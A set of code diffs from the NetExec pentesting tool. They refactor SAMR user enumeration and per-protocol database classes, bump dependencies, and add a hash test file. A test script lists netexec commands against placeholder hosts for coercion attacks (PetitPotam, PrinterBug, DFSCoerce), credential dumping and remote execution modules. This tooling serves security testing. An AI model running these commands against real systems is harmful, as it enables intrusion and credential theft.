mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces")
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
+7 -12
View File
@@ -78,10 +78,11 @@ class UserSamrDump:
if resp2["ErrorCode"] != 0:
raise Exception("Connect error")
domain_name = resp2["Buffer"]["Buffer"][0]["Name"]
resp3 = samr.hSamrLookupDomainInSamServer(
self.dce,
serverHandle=resp["ServerHandle"],
name=resp2["Buffer"]["Buffer"][0]["Name"],
name=domain_name,
)
if resp3["ErrorCode"] != 0:
raise Exception("Connect error")
@@ -132,12 +133,13 @@ class UserSamrDump:
# set these for the while loop
enumerationContext = enumerate_users_resp["EnumerationContext"]
status = enumerate_users_resp["ErrorCode"]
self.print_user_info(users)
self.logger.display(f"Enumerated {users:d} local users: {domain_name}")
self.dce.disconnect()
def get_user_info(self, domain_handle, user_ids):
self.logger.debug(f"Getting user info for users: {user_ids}")
users = []
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
users = 0
for user in user_ids:
self.logger.debug(f"Calling hSamrOpenUser for RID {user}")
@@ -160,18 +162,11 @@ class UserSamrDump:
last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"])
if last_pw_set == "1601-01-01 00:00:00":
last_pw_set = "<never>"
users.append({"name": user_name, "description": user_description, "bad_pwd_count": bad_pwd_count, "last_pw_set": last_pw_set})
users += + 1
self.logger.highlight(f"{user_name:<30}{last_pw_set:<20}{bad_pwd_count:<8}{user_description} ")
samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
return users
def print_user_info(self, users):
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
self.logger.debug(f"Full user info: {user}")
self.logger.highlight(f"{user['name']:<30}{user['last_pw_set']:<20}{user['bad_pwd_count']:<8}{user['description']} ")
def old_large_int_to_datetime(large_int):
combined = (large_int["HighPart"] << 32) | large_int["LowPart"]
timestamp_seconds = combined / 10**7
+3
View File
@@ -33,8 +33,11 @@ class ssh(connection):
return
if self.login():
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.conn.close()
+38 -60
View File
@@ -1,19 +1,17 @@
import configparser
import os
import sys
from sqlalchemy import Table, select, func, delete
from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table, select, func, delete
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
import os
from pathlib import Path
import configparser
from nxc.database import BaseDB
from nxc.logger import nxc_logger
from nxc.paths import NXC_PATH
import sys
# we can't import config.py due to a circular dependency, so we have to create redundant code unfortunately
nxc_config = configparser.ConfigParser()
@@ -21,7 +19,7 @@ nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
nxc_workspace = nxc_config.get("nxc", "workspace", fallback="default")
class database:
class database(BaseDB):
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
@@ -29,15 +27,7 @@ class database:
self.AdminRelationsTable = None
self.KeysTable = None
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
self.sess = Session()
super().__init__(db_engine)
@staticmethod
def db_schema(db_conn):
@@ -105,26 +95,13 @@ class database:
)
sys.exit()
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.sess.execute(table.delete())
def add_host(self, host, port, banner, os=None):
"""Check if this host has already been added to the database, if not, add it in."""
hosts = []
updated_ids = []
q = select(self.HostsTable).filter(self.HostsTable.c.host == host)
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
nxc_logger.debug(f"add_host(): Initial hosts results: {results}")
# create new host
@@ -162,7 +139,7 @@ class database:
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.sess.execute(q, hosts) # .scalar()
self.db_execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
@@ -183,13 +160,13 @@ class database:
self.KeysTable.c.data == key,
)
)
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
else:
q = select(self.CredentialsTable).filter(
func.lower(self.CredentialsTable.c.username) == func.lower(username),
func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype),
)
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
# add new credential
if not results:
@@ -218,10 +195,11 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id)
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users)
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key,
set_=update_columns_users)
nxc_logger.debug(f"Adding credentials: {credentials}")
self.sess.execute(q_users, credentials) # .scalar()
self.db_execute(q_users, credentials) # .scalar()
# hacky way to get cred_id since we can't use returning() yet
if len(credentials) == 1:
@@ -238,19 +216,19 @@ class database:
for cred_id in creds_id:
q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
del_hosts.append(q)
self.sess.execute(q)
self.db_execute(q)
def add_key(self, cred_id, key):
# check if key relation already exists
check_q = self.sess.execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all()
check_q = self.db_execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all()
nxc_logger.debug(f"check_q: {check_q}")
if check_q:
nxc_logger.debug(f"Key already exists for cred_id {cred_id}")
return None
key_data = {"credid": cred_id, "data": key}
self.sess.execute(Insert(self.KeysTable), key_data)
key_id = self.sess.execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all()[0].id
self.db_execute(Insert(self.KeysTable), key_data)
key_id = self.db_execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all()[0].id
nxc_logger.debug(f"Key added: {key_id}")
return key_id
@@ -260,7 +238,7 @@ class database:
q = q.filter(self.KeysTable.c.id == key_id)
elif cred_id is not None:
q = q.filter(self.KeysTable.c.credid == cred_id)
return self.sess.execute(q).all()
return self.db_execute(q).all()
def add_admin_user(self, credtype, username, secret, host_id=None, cred_id=None):
add_links = []
@@ -274,7 +252,7 @@ class database:
func.lower(self.CredentialsTable.c.username) == func.lower(username),
self.CredentialsTable.c.password == secret,
)
creds = self.sess.execute(creds_q)
creds = self.db_execute(creds_q)
hosts = self.get_hosts(host_id)
if creds and hosts:
@@ -286,7 +264,7 @@ class database:
self.AdminRelationsTable.c.credid == cred_id,
self.AdminRelationsTable.c.hostid == host_id,
)
links = self.sess.execute(admin_relations_select).all()
links = self.db_execute(admin_relations_select).all()
if not links:
add_links.append(link)
@@ -294,7 +272,7 @@ class database:
admin_relations_insert = Insert(self.AdminRelationsTable)
if add_links:
self.sess.execute(admin_relations_insert, add_links)
self.db_execute(admin_relations_insert, add_links)
def get_admin_relations(self, cred_id=None, host_id=None):
if cred_id:
@@ -304,7 +282,7 @@ class database:
else:
q = select(self.AdminRelationsTable)
return self.sess.execute(q).all()
return self.db_execute(q).all()
def remove_admin_relation(self, cred_ids=None, host_ids=None):
q = delete(self.AdminRelationsTable)
@@ -314,7 +292,7 @@ class database:
elif host_ids:
for host_id in host_ids:
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
self.sess.execute(q)
self.db_execute(q)
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
@@ -322,7 +300,7 @@ class database:
self.CredentialsTable.c.id == credential_id,
self.CredentialsTable.c.password is not None,
)
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_credentials(self, filter_term=None, cred_type=None):
@@ -340,7 +318,7 @@ class database:
else:
q = select(self.CredentialsTable)
return self.sess.execute(q).all()
return self.db_execute(q).all()
def get_credential(self, cred_type, username, password):
q = select(self.CredentialsTable).filter(
@@ -348,14 +326,14 @@ class database:
self.CredentialsTable.c.password == password,
self.CredentialsTable.c.credtype == cred_type,
)
results = self.sess.execute(q).first()
results = self.db_execute(q).first()
if results is not None:
return results.id
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_hosts(self, filter_term=None):
@@ -365,21 +343,21 @@ class database:
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.sess.execute(q).first()
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
# if we're filtering by host
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(self.HostsTable.c.host.like(like_term))
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
nxc_logger.debug(f"SSH get_hosts() - results: {results}")
return results
def is_user_valid(self, cred_id):
"""Check if this User ID is valid."""
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_users(self, filter_term=None):
@@ -391,18 +369,18 @@ class database:
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term))
return self.sess.execute(q).all()
return self.db_execute(q).all()
def get_user(self, domain, username):
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username))
return self.sess.execute(q).all()
return self.db_execute(q).all()
def add_loggedin_relation(self, cred_id, host_id, shell=False):
relation_query = select(self.LoggedinRelationsTable).filter(
self.LoggedinRelationsTable.c.credid == cred_id,
self.LoggedinRelationsTable.c.hostid == host_id,
)
results = self.sess.execute(relation_query).all()
results = self.db_execute(relation_query).all()
# only add one if one doesn't already exist
if not results:
@@ -412,7 +390,7 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
self.sess.execute(q, [relation]) # .scalar()
self.db_execute(q, [relation]) # .scalar()
inserted_id_results = self.get_loggedin_relations(cred_id, host_id)
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
return inserted_id_results[0].id
@@ -427,7 +405,7 @@ class database:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
if shell:
q = q.filter(self.LoggedinRelationsTable.c.shell == shell)
return self.sess.execute(q).all()
return self.db_execute(q).all()
def remove_loggedin_relations(self, cred_id=None, host_id=None):
q = delete(self.LoggedinRelationsTable)
@@ -435,4 +413,4 @@ class database:
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.sess.execute(q)
self.db_execute(q)
+3
View File
@@ -31,8 +31,11 @@ class vnc(connection):
self.print_host_info()
if self.login():
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
def proto_logger(self):
+7 -31
View File
@@ -1,36 +1,25 @@
from pathlib import Path
from sqlalchemy import MetaData, Table
import sys
import warnings
from sqlalchemy import Table
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy.exc import SAWarning
import warnings
from nxc.logger import nxc_logger
import sys
from nxc.database import BaseDB
# if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings
warnings.filterwarnings("ignore", category=SAWarning)
class database:
class database(BaseDB):
def __init__(self, db_engine):
self.HostsTable = None
self.CredentialsTable = None
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
super().__init__(db_engine)
@staticmethod
def db_schema(db_conn):
@@ -67,16 +56,3 @@ class database:
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
sys.exit()
def shutdown_db(self):
try:
self.conn.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
+31 -53
View File
@@ -1,33 +1,24 @@
from pathlib import Path
import sys
from sqlalchemy import Table, select, func, delete
from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table, select, func, delete
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.database import BaseDB
from nxc.logger import nxc_logger
import sys
class database:
class database(BaseDB):
def __init__(self, db_engine):
self.HostsTable = None
self.UsersTable = None
self.AdminRelationsTable = None
self.LoggedinRelationsTable = None
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
super().__init__(db_engine)
@staticmethod
def db_schema(db_conn):
@@ -88,19 +79,6 @@ class database:
)
sys.exit()
def shutdown_db(self):
try:
self.conn.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
def add_host(self, ip, port, hostname, domain, os=None):
"""
Check if this host has already been added to the database, if not, add it in.
@@ -110,7 +88,7 @@ class database:
hosts = []
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
nxc_logger.debug(f"smb add_host() - hosts returned: {results}")
# create new host
@@ -147,7 +125,7 @@ class database:
q = Insert(self.HostsTable)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.conn.execute(q, hosts)
self.db_execute(q, hosts)
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
"""Check if this credential has already been added to the database, if not add it in."""
@@ -171,7 +149,7 @@ class database:
func.lower(self.UsersTable.c.username) == func.lower(username),
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
# add new credential
if not results:
@@ -207,7 +185,7 @@ class database:
q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id)
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
self.conn.execute(q_users, credentials) # .scalar()
self.db_execute(q_users, credentials) # .scalar()
def remove_credentials(self, creds_id):
"""Removes a credential ID from the database"""
@@ -215,7 +193,7 @@ class database:
for cred_id in creds_id:
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
del_hosts.append(q)
self.conn.execute(q)
self.db_execute(q)
def add_admin_user(self, credtype, domain, username, password, host, user_id=None):
domain = domain.split(".")[0]
@@ -231,7 +209,7 @@ class database:
func.lower(self.UsersTable.c.username) == func.lower(username),
self.UsersTable.c.password == password,
)
users = self.conn.execute(creds_q)
users = self.db_execute(creds_q)
hosts = self.get_hosts(host)
if users and hosts:
@@ -243,14 +221,14 @@ class database:
self.AdminRelationsTable.c.userid == user_id,
self.AdminRelationsTable.c.hostid == host_id,
)
links = self.conn.execute(admin_relations_select).all()
links = self.db_execute(admin_relations_select).all()
if not links:
add_links.append(link)
admin_relations_insert = Insert(self.AdminRelationsTable)
self.conn.execute(admin_relations_insert, add_links)
self.db_execute(admin_relations_insert, add_links)
def get_admin_relations(self, user_id=None, host_id=None):
if user_id:
@@ -260,7 +238,7 @@ class database:
else:
q = select(self.AdminRelationsTable)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def remove_admin_relation(self, user_ids=None, host_ids=None):
q = delete(self.AdminRelationsTable)
@@ -270,7 +248,7 @@ class database:
elif host_ids:
for host_id in host_ids:
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
self.conn.execute(q)
self.db_execute(q)
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
@@ -278,7 +256,7 @@ class database:
self.UsersTable.c.id == credential_id,
self.UsersTable.c.password is not None,
)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_credentials(self, filter_term=None, cred_type=None):
@@ -296,22 +274,22 @@ class database:
else:
q = select(self.UsersTable)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def is_credential_local(self, credential_id):
q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id)
user_domain = self.conn.execute(q).all()
user_domain = self.db_execute(q).all()
if user_domain:
q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain))
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_hosts(self, filter_term=None):
@@ -321,7 +299,7 @@ class database:
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.conn.execute(q).first()
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
# if we're filtering by domain controllers
@@ -333,14 +311,14 @@ class database:
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
nxc_logger.debug(f"winrm get_hosts() - results: {results}")
return results
def is_user_valid(self, user_id):
"""Check if this User ID is valid."""
q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_users(self, filter_term=None):
@@ -352,21 +330,21 @@ class database:
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(func.lower(self.UsersTable.c.username).like(like_term))
return self.conn.execute(q).all()
return self.db_execute(q).all()
def get_user(self, domain, username):
q = select(self.UsersTable).filter(
func.lower(self.UsersTable.c.domain) == func.lower(domain),
func.lower(self.UsersTable.c.username) == func.lower(username),
)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def add_loggedin_relation(self, user_id, host_id):
relation_query = select(self.LoggedinRelationsTable).filter(
self.LoggedinRelationsTable.c.userid == user_id,
self.LoggedinRelationsTable.c.hostid == host_id,
)
results = self.conn.execute(relation_query).all()
results = self.db_execute(relation_query).all()
# only add one if one doesn't already exist
if not results:
@@ -375,7 +353,7 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
self.conn.execute(q, [relation]) # .scalar()
self.db_execute(q, [relation]) # .scalar()
except Exception as e:
nxc_logger.debug(f"Error inserting LoggedinRelation: {e}")
@@ -385,7 +363,7 @@ class database:
q = q.filter(self.LoggedinRelationsTable.c.userid == user_id)
if host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def remove_loggedin_relations(self, user_id=None, host_id=None):
q = delete(self.LoggedinRelationsTable)
@@ -393,4 +371,4 @@ class database:
q = q.filter(self.LoggedinRelationsTable.c.userid == user_id)
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.conn.execute(q)
self.db_execute(q)
+2 -2
View File
@@ -2,7 +2,7 @@ from pathlib import Path
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
# IllegalStateChangeError,
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -66,7 +66,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
Generated
+570 -508
View File
File diff suppressed because it is too large. Load diff
+8 -7
View File
@@ -1,6 +1,6 @@
[tool.poetry]
name = "netexec"
version = "1.2.0"
version = "1.3.0"
description = "The Network Execution tool"
authors = [
"Marshall Hallenbeck <[email protected]>",
@@ -36,12 +36,12 @@ nxcdb = 'nxc.nxcdb:main'
python = "^3.8.0"
aardwolf = "^0.2.8"
aioconsole = "^0.6.2"
aiosqlite = "^0.17.0"
aiosqlite = "^0.19.0"
argcomplete = "^3.1.4"
asyauth = ">=0.0.20"
beautifulsoup4 = ">=4.11,<5"
bloodhound = "^1.7.2"
dploot = "^2.7.1"
dploot = "^2.7.4"
dsinternals = "^1.2.4"
impacket = { git = "https://github.com/fortra/impacket.git" }
lsassy = ">=3.1.11"
@@ -52,17 +52,18 @@ msldap = "^0.5.10"
neo4j = "^5.0.0"
paramiko = "^3.3.1"
poetry-dynamic-versioning = "^1.2.0"
pyasn1-modules = "^0.2.8"
pyasn1-modules = "^0.3.0"
pylnk3 = "^0.4.2"
pynfsclient = { git = "https://github.com/Pennyw0rth/NfsClient" }
pypsrp = "^0.8.1"
pypykatz = "0.6.6"
pypykatz = "^0.6.8"
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
python-dateutil = ">=2.8.2"
python-libnmap = "^0.7.3"
requests = ">=2.27.1"
rich = "^13.3.5"
sqlalchemy = "^1.4.50"
termcolor = "1.1.0"
sqlalchemy = "^2.0.4"
termcolor = ">=2.4.0"
terminaltables = "^3.1.0"
xmltodict = "^0.13.0"
+6
View File
@@ -0,0 +1,6 @@
DEADBEEFDEADBEEFDEADBEEFDEADBEEF
DEADBEEFDEADBEEFDEADBEEFDEADBEEF:DEADBEEFDEADBEEFDEADBEEFDEADBEEF
TooShort
ToooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooLong
fc525c9683e8fe067095ba2ddc971889
aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
+27 -4
View File
@@ -62,7 +62,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener
@@ -81,6 +81,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M imperson
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions
# currently hanging indefinitely - TODO: look into this
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
@@ -98,6 +99,20 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=petitpotam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=printerbug
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=shadowcoerce
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=mseven
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=dfscoerce
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o M=dfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o LISTENER=127.0.0.1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=petitpotam LISTENER=127.0.0.1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=printerbug LISTENER=127.0.0.1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=shadowcoerce LISTENER=127.0.0.1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=mseven LISTENER=127.0.0.1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=dfscoerce LISTENER=127.0.0.1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o M=dfs LISTENER=127.0.0.1
# Will need to change the PID for your test system
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi -o PID=100 EXEC='dir'
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump
@@ -109,7 +124,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-quer
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadowcoerce
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o NAME=test CLEANUP=True
# spider_plus takes a while to run, so it is commented out during normal testing
@@ -130,14 +144,17 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
